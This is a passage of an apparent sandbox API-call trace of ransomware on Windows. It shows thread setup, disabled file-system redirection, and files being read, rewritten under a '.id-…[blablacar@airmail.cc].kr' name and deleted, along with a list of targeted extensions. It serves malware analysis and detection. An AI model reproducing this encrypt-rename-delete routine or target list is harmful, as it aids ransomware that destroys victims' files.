dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.542] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.543] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.543] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.543] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.543] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.543] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.543] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.544] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0108.550] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0108.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0108.564] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0108.805] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.805] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.805] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.806] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0108.808] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.822] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.822] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.824] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.825] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0109.523] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0109.523] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0109.524] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0109.524] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0109.529] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0109.532] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0109.532] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 Thread: id = 13 os_tid = 0xf8c [0078.614] GetTickCount () returned 0x1153d44 [0078.614] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x24) returned 0x4c80a8 [0078.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0078.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0078.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0078.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4c80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0078.617] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1a0 [0078.617] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1a0, Size=0x20) returned 0x47f1b8 [0078.617] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1a0 [0078.617] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1a0, Size=0x20) returned 0x47f280 [0078.617] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0078.617] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0078.618] Wow64DisableWow64FsRedirection (in: OldValue=0x326ff7c | out: OldValue=0x326ff7c*=0x0) returned 1 [0078.618] lstrlenW (lpString="kernel32.dll") returned 12 [0078.618] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f1b8 | out: hHeap=0x440000) returned 1 [0078.618] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0078.618] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f280 | out: hHeap=0x440000) returned 1 [0078.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x4cd1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0078.619] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0078.966] GetTickCount () returned 0x1153e9c [0078.966] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0079.553] GetTickCount () returned 0x11540ed [0079.553] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0081.395] GetTickCount () returned 0x1154821 [0081.395] GetTickCount () returned 0x1154821 [0081.395] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0082.188] GetTickCount () returned 0x1154b3e [0082.188] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0083.808] GetTickCount () returned 0x1155187 [0083.808] GetTickCount () returned 0x1155187 [0083.808] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0084.265] GetTickCount () returned 0x115534c [0084.265] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0084.595] GetTickCount () returned 0x1155495 [0084.595] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0085.282] GetTickCount () returned 0x1155744 [0085.282] GetTickCount () returned 0x1155744 [0085.282] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0085.923] GetTickCount () returned 0x11559c5 [0085.923] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0086.735] GetTickCount () returned 0x1155cf1 [0086.735] GetTickCount () returned 0x1155cf1 [0086.735] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0087.294] GetTickCount () returned 0x1155f24 [0087.294] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0087.944] GetTickCount () returned 0x11561b4 [0087.944] GetTickCount () returned 0x11561b4 [0087.944] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0088.249] GetTickCount () returned 0x11562dd [0088.249] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0088.502] GetTickCount () returned 0x11563d7 [0088.502] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0088.765] GetTickCount () returned 0x11564e0 [0088.765] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0089.042] GetTickCount () returned 0x11565fa [0089.042] GetTickCount () returned 0x11565fa [0089.042] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0089.469] GetTickCount () returned 0x11567a0 [0089.469] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0089.898] GetTickCount () returned 0x1156955 [0089.898] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0090.507] GetTickCount () returned 0x1156bb6 [0090.507] GetTickCount () returned 0x1156bb6 [0090.507] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0091.304] GetTickCount () returned 0x1156ed3 [0091.304] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0091.905] GetTickCount () returned 0x1157125 [0091.905] GetTickCount () returned 0x1157125 [0091.905] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0092.546] GetTickCount () returned 0x11573b5 [0092.546] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0093.027] GetTickCount () returned 0x115758a [0093.027] GetTickCount () returned 0x115758a [0093.028] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0093.523] GetTickCount () returned 0x115777e [0093.523] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0094.133] GetTickCount () returned 0x11579df [0094.133] GetTickCount () returned 0x11579df [0094.133] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0094.639] GetTickCount () returned 0x1157bf3 [0094.664] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0095.024] GetTickCount () returned 0x1157d4a [0095.024] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0095.621] GetTickCount () returned 0x1157fac [0095.621] GetTickCount () returned 0x1157fac [0095.621] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0096.215] GetTickCount () returned 0x11581fe [0096.215] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0097.123] GetTickCount () returned 0x1158588 [0097.123] GetTickCount () returned 0x1158588 [0097.123] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0097.732] GetTickCount () returned 0x11587e9 [0097.732] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0098.223] GetTickCount () returned 0x11589ce [0098.223] GetTickCount () returned 0x11589ce [0098.223] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0098.934] GetTickCount () returned 0x1158c9c [0098.934] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0099.573] GetTickCount () returned 0x1158f0d [0099.573] GetTickCount () returned 0x1158f0d [0099.573] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0100.244] GetTickCount () returned 0x11591ad [0100.244] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0100.394] GetTickCount () returned 0x1159259 [0100.394] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0100.538] GetTickCount () returned 0x11592e6 [0100.538] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0101.423] GetTickCount () returned 0x1159660 [0101.423] GetTickCount () returned 0x1159660 [0101.423] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0102.568] GetTickCount () returned 0x1159ad5 [0102.568] GetTickCount () returned 0x1159ad5 [0102.568] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0103.159] GetTickCount () returned 0x1159d17 [0103.159] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0103.801] GetTickCount () returned 0x1159f98 [0103.801] GetTickCount () returned 0x1159f98 [0103.801] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0104.247] GetTickCount () returned 0x115a15d [0104.247] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0104.698] GetTickCount () returned 0x115a322 [0104.698] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0105.255] GetTickCount () returned 0x115a554 [0105.255] GetTickCount () returned 0x115a554 [0105.255] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0105.807] GetTickCount () returned 0x115a777 [0105.807] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0106.221] GetTickCount () returned 0x115a90e [0106.221] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0106.618] GetTickCount () returned 0x115aaa4 [0106.618] GetTickCount () returned 0x115aaa4 [0106.618] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0107.236] GetTickCount () returned 0x115ad15 [0107.236] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0107.787] GetTickCount () returned 0x115af38 [0107.787] GetTickCount () returned 0x115af38 [0107.787] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0108.091] GetTickCount () returned 0x115b061 [0108.091] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0108.583] GetTickCount () returned 0x115b255 [0108.583] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0108.832] GetTickCount () returned 0x115b34f [0108.832] GetTickCount () returned 0x115b34f [0108.832] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) returned 0x102 [0109.457] GetTickCount () returned 0x115b5c0 [0109.457] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x64) Thread: id = 15 os_tid = 0xe38 [0079.596] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x3600078 [0079.597] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x3610080 [0079.597] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc6f8 [0079.597] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de3e8 [0079.598] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc530 [0079.598] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x3df2020 [0079.601] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc728 [0079.601] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc728, Size=0x20) returned 0x47f190 [0079.601] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc728 [0079.601] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc728, Size=0x20) returned 0x47f078 [0079.602] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0079.602] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0079.602] Wow64DisableWow64FsRedirection (in: OldValue=0x37dff50 | out: OldValue=0x37dff50*=0x0) returned 1 [0079.602] lstrlenW (lpString="kernel32.dll") returned 12 [0079.602] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f190 | out: hHeap=0x440000) returned 1 [0079.602] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0079.602] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0079.602] Sleep (dwMilliseconds=0x64) [0081.420] lstrcmpiW (lpString1=".cmd", lpString2=".kr") returned -1 [0081.420] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0081.420] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0081.615] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=307) returned 1 [0081.615] CloseHandle (hObject=0x2d0) returned 1 [0081.615] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0081.615] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.616] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0081.616] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.616] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.616] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0081.617] GetLastError () returned 0x0 [0081.617] ReadFile (in: hFile=0x2d0, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x133, lpOverlapped=0x0) returned 1 [0081.639] WriteFile (in: hFile=0x2b8, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x140, lpOverlapped=0x0) returned 1 [0081.645] ReadFile (in: hFile=0x2d0, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.645] WriteFile (in: hFile=0x2b8, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf6, lpOverlapped=0x0) returned 1 [0082.264] SetEndOfFile (hFile=0x2b8) returned 1 [0082.264] CloseHandle (hObject=0x2b8) returned 1 [0082.265] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.265] SetEndOfFile (hFile=0x2d0) returned 1 [0082.266] CloseHandle (hObject=0x2d0) returned 1 [0082.266] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0082.266] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0082.267] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.267] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.267] lstrlenW (lpString=".doc") returned 4 [0082.267] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0082.267] lstrlenW (lpString=".docx") returned 5 [0082.267] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0082.267] lstrlenW (lpString=".pdf") returned 4 [0082.267] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0082.267] lstrlenW (lpString=".xls") returned 4 [0082.267] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0082.267] lstrlenW (lpString=".xlsx") returned 5 [0082.267] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0082.267] lstrlenW (lpString=".ppt") returned 4 [0082.267] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0082.267] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.267] lstrlenW (lpString=".zip") returned 4 [0082.267] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0082.267] lstrlenW (lpString=".rar") returned 4 [0082.267] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0082.267] lstrlenW (lpString=".bz2") returned 4 [0082.267] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0082.267] lstrlenW (lpString=".7z") returned 3 [0082.267] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0082.267] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.268] lstrlenW (lpString=".dbf") returned 4 [0082.268] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0082.268] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.268] lstrlenW (lpString=".1cd") returned 4 [0082.268] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0082.268] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.268] lstrlenW (lpString=".jpg") returned 4 [0082.268] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0082.268] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.268] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.268] lstrlenW (lpString=".doc") returned 4 [0082.268] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0082.268] lstrlenW (lpString=".docx") returned 5 [0082.268] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0082.268] lstrlenW (lpString=".pdf") returned 4 [0082.268] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0082.268] lstrlenW (lpString=".xls") returned 4 [0082.268] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0082.268] lstrlenW (lpString=".xlsx") returned 5 [0082.268] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0082.268] lstrlenW (lpString=".ppt") returned 4 [0082.268] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0082.268] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.268] lstrlenW (lpString=".zip") returned 4 [0082.268] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0082.268] lstrlenW (lpString=".rar") returned 4 [0082.268] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0082.269] lstrlenW (lpString=".bz2") returned 4 [0082.269] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0082.269] lstrlenW (lpString=".7z") returned 3 [0082.269] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0082.269] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.269] lstrlenW (lpString=".dbf") returned 4 [0082.269] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0082.269] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.269] lstrlenW (lpString=".1cd") returned 4 [0082.269] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0082.269] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0082.269] lstrlenW (lpString=".jpg") returned 4 [0082.269] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0082.269] Sleep (dwMilliseconds=0x64) [0083.989] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0083.989] lstrlenW (lpString="SetupResources.dll") returned 18 [0083.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.989] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18264) returned 1 [0083.989] CloseHandle (hObject=0x31c) returned 1 [0083.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0083.990] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0083.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0083.990] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.990] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0083.991] GetLastError () returned 0x0 [0083.991] ReadFile (in: hFile=0x31c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x4758, lpOverlapped=0x0) returned 1 [0083.996] WriteFile (in: hFile=0x320, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0x4760, lpOverlapped=0x0) returned 1 [0083.997] ReadFile (in: hFile=0x31c, lpBuffer=0x3df2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0083.997] WriteFile (in: hFile=0x320, lpBuffer=0x3df2020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3df2020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0083.998] SetEndOfFile (hFile=0x320) returned 1 [0083.998] CloseHandle (hObject=0x320) returned 1 [0083.999] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0083.999] SetEndOfFile (hFile=0x31c) returned 1 [0084.000] CloseHandle (hObject=0x31c) returned 1 [0084.001] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.001] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0084.001] lstrlenW 